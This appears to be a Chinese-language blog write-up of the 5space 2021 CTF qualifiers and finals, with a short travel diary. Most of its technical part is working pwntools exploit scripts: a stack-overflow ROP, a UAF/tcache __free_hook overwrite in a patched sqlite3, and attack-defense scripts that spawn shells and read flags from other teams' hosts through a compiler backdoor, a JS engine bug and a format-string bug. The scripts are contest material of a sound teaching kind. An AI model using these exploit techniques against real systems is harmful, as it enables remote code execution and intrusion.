Life

14 Dec 2021

5space2021-WriteUp

5space 2021 Quals

去年👴🚪打这个比赛最后十分钟被淦到六十多名，今年⑧能继续白给

👴是第一个到贵室的人，开局交一发签到 flag，交半天交不上去，刷新一下隔壁 pwn 一血出了

👴：？

👴直接点开 Pwn 进行一个题的🐏

bountyhunter

简单栈溢出

from pwn import *
elf = ELF('./pwn')
payload = 'a'*0x98+p64(0x40120b)+p64(0x403408)+p64(elf.sym['system'])
r.sendline(payload)
r.interactive()

然后去看弱智图片隐写

alpha10

binwalk 发现有图片，foremost 分出来

两张图片，一张 png，一张 jpg，png 左侧有明显蓝点，jpg 是原图。

两张图片其中一张是原图，猜测是盲水印，用工具试一下

https://github.com/chishaxie/BlindWaterMark

bwmforpy3.py decode 00001537.jpg 00001404.jpg flag.jpg

不清楚，根据题目名，加上参数

bwmforpy3.py decode 00001537.jpg 00001404.jpg flag.jpg --alpha 10

得到清晰图片

👴第一次见数据安全题目，做了一下👴终于懂了什么叫忽悠领导

sqlite3

套壳菜单题，给了 diff 文件，下载对应源码 patch 上去

patch -p0 sqlite3.c patch.diff

看源码发现调用 minmaxFunc() 可以操作菜单，libc-2.27 UAF 直接打。uaf show 泄露 libc 然后 uaf edit tcache attack 打 freehook

# https://www.sqlite.org/download.html
# patch -p0 sqlite3.c patch.diff
from pwn import *
#a
# = process("./sqlite3")
libc = ELF("./libc-2.27.so")
context.log_level ='debug'

menu = lambda x: a.sendline(str(x))

def add(idx,size):
    payload = "select max({},{},{});".format(0,idx,size)
    menu(payload)

def edit(idx,offset,val):
    payload = "select max({},{},{},{});".format(1,idx,offset,val)
    menu(payload)

def show(idx):
    payload = "select max({},{});".format(2,idx)
    menu(payload)

def free(idx):
    payload = "select max({},{});".format(3,idx)
    menu(payload)

add(0,0x500)
add(1,0x10)
free(0)
show(0)
libc_base = u64(a.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x3ebca0
success("libc_base = "+hex(libc_base))

add(0,0x30)
add(2,0x30)
free(0)
free(2)
edit(2,0,libc_base+libc.sym['__free_hook']-8)
add(3,0x30)
add(4,0x30)
edit(4,1,libc_base+libc.sym['system'])
edit(4,0,29400045130965551)
free(4)
a.interactive()

数据安全：往安全的数据库里面塞一个不安全的菜单题

平台炸过一段时间，延长到 21:50，倒数到零

《活着》

天津旅游

所以👴🚪就来到了天津，👴这次大伏笔，没带小黄鸭

三万👴：充电器电脑和手机电脑转接头鸭子

👴：身份证学生证

👴：艹，没带鸭子

👴在《夜彳亍》中提到了 L_2，这位👴在天津上带学，带悦城离火车站、学校、酒店距离都刚好，👴🚪在这胜利会师

👴：这位👴是《夜彳亍》中的 L_2

👴：这位👴是三万👴，这位👴是 housebuilding，这位👴是🎩👴

👴：都是看👴博客的人嗷

中央已经决定了，公款吃喝，整丶烤肉

两个阿姆斯特丹人总会扯到跑路回阿姆斯特丹，顺便给带🔥讲了一下《AiDai 的来历及其正确读音》，👴光顾着扯淡了，吃的不多，没回本，血亏。

吃完 L_2 去找🚺，👴🚪跟着三万👴走去看旅行🐸去过的瓷房子。

5space 2021 Final

👴只想拿个保底

比赛平台是赛宁的，7k 赛制。赛前问主办方是否提供流量，说是没有，但是👴进入靶机直接 cd package，发现是实时流量。

👴是上🚗的神

开局致敬华东北，ssh 连不上，但是有的队伍已经开打了。🎩🎩看着 web 靶机被日，ssh 还连不上，源码都不知道长啥样，👴也一直试 ssh，连上去只有一瞬，但👴拽下了流量。

因为你我会记住那一分钟

wireshark 打开 search flag，复制粘贴日了个队伍，让🎩🎩先拿 payload 日全场把分拿了再解决其他问题。

easyjs 开始有人日全场，payload 很简单，直接抄。

def exp_pwn(ip):
    port = 9999
    r = remote(ip,port,timeout=2)
    r.recvuntil('>')
    r.sendline("read('/flag')")
    r.recvuntil('"')
    data = r.recvline()[:-2]
    data = data.replace('\\n','')
    log.info(data)
    r.close()
    return data

抄完上去把对应的函数给扬了。

三万👴看 serral，👴搁这抄流量，compiler 有个 system("/bin/sh");，经典后🚪。流量很好抄，复制下来就能用

def exp_pwn(ip):
    port = 9999
    r = remote(ip,port,timeout=2)
    sh = "61616161626262627878787871797979616a6b6c28297b7d696e74206d61696e28696e7420612c20696e742062297b20202020696e7420746d703b20202020746d70203d2061616161626262627878787871797979616a6b6c28293b2020202072657475726e20746d703b7d".decode("hex")
    len1 = len(sh)
    r.sendlineafter("Program size:",str(len1))

    r.sendafter("Content:",sh)

    r.recvuntil('Seeing a function main\n')
    r.sendline('cat flag')
    #r.interactive()
    data = r.recvline().strip()
    log.info(data)
    r.close()
    return data

后🚪🐏了，改成 system("/bin/ls");

housebuilding 宣布 easyjs 出新 exp，抄他🐎的

def exp_pwn(ip):
    port = 9999
    r = remote(ip,port,timeout=2)
    payload = '''a = "111111111111111111111";        print(a[0x7331]);        leak_libc = (((a[5] + 0x100)&0xff) * 1099511627776) + (((a[4] + 0x100)&0xff) * 4294967296) + (((a[3] + 0x100)&0xff) * 16777216) + (((a[2] + 0x100)&0xff) * 65536) + (((a[1] + 0x100)&0xff) * 256) + (((a[0] + 0x100)&0xff)) ;        b = "ccccccccccccccccccccc";        print(b[0x1337]);        leak_heap = (((b[5] + 0x100)&0xff) * 1099511627776) + (((b[4] + 0x100)&0xff) * 4294967296) + (((b[3] + 0x100)&0xff) * 16777216) + (((b[2] + 0x100)&0xff) * 65536) + (((b[1] + 0x100)&0xff) * 256) + (((b[0] + 0x100)&0xff)) ;        system_t = leak_libc + 0x453a0 - 0x20750;        c = "/bin/sh";        b[0x6490e0 - leak_heap] = system_t;        print(c);'''
    r.sendline(payload)
    r.sendline('echo yeye5')
    r.recvuntil('yeye5')
    r.sendline('cat /flag')
    r.recvline()
    data = r.recvline().strip()
    log.info(data)
    r.close()
    return data

🎩🎩闷声发大财，一个人看三台靶机。后来 web 🔒了，🎩🎩坐牢，这比赛确实有丶离谱了，来丶名场面

三万👴用格式化字符串日 serral，应该是拿了一血，天神下凡，开冲一等奖，pwn 下班

def exp_pwn(ip):
    port = 9999
    #ip = '172.35.9.12'
    r = remote(ip,port,timeout=2)
    #r = process("./serral")
    #context.log_level='debug'
    def insert(p):
        print p
        package = ("b90501bd"+hex(len(p)//2)[2:].rjust(2,'0')+p+"bd00bd0000").decode("hex")
        return package

    def printf(p):
        package = ("b90506bd"+hex(len(p)//2)[2:].rjust(2,'0')+p+"bd00bd0000").decode("hex")
        return package

    package = "b90500bd0561646d696ebd0100bd0141853402".decode('hex')
    l = len(package)

    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)

    payload = "aaaa%125$p".encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))

    r.sendlineafter("Content:",package)
    r.recvuntil("0x",timeout=0.5)
    libc_base = int(r.recv(12),16)-0x21bf7
    if libc_base<0:
        r.close()
    #success(hex(libc_base))

    payload = "aaaa%127$p".encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))

    r.sendlineafter("Content:",package)
    r.recvuntil("0x")
    stack = int(r.recv(12),16)-0xe0
    #success(hex(stack))
    if stack&0xffff > 0x2000:
        r.close()
    payload = ("%"+str(stack&0xffff)+"c%127$hn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))

    r.sendlineafter("Content:",package)
    #payload = fmtstr_payload(offset, writes)
    one = libc_base+0x4f3d5
    payload = ("%"+str(one&0xff)+"c%153$hhn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))
    r.sendlineafter("Content:",package)
    payload = ("%"+str((stack&0xff)+1)+"c%127$hhn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))

    r.sendlineafter("Content:",package)
    payload = ("%"+str((one>>8)&0xff)+"c%153$hhn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))
    r.sendlineafter("Content:",package)
    payload = ("%"+str((stack&0xff)+2)+"c%127$hhn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))

    r.sendlineafter("Content:",package)
    payload = ("%"+str((one>>16)&0xff)+"c%153$hhn").encode("hex")
    package = insert(payload)
    l = len(package)
    r.sendlineafter("Packet length:",str(l))
    sleep(0.1)
    r.sendlineafter("Content:",package)
    #b90503bd0c546573746d65706c65617365bd076675636b6d6561bd0b6675636b6d65616161616300
    package = printf(payload)
    l = len(package)
    sleep(0.1)
    r.sendlineafter("Packet length:",str(l))
    r.sendlineafter(" Content:",package)
    r.sendline('l')
    sleep(0.5)
    r.sendline('cat flag')
    r.recvuntil('Packet length: Content: ')
    flag = r.recvline().strip()
    log.info(flag)
    return flag
    r.interactive()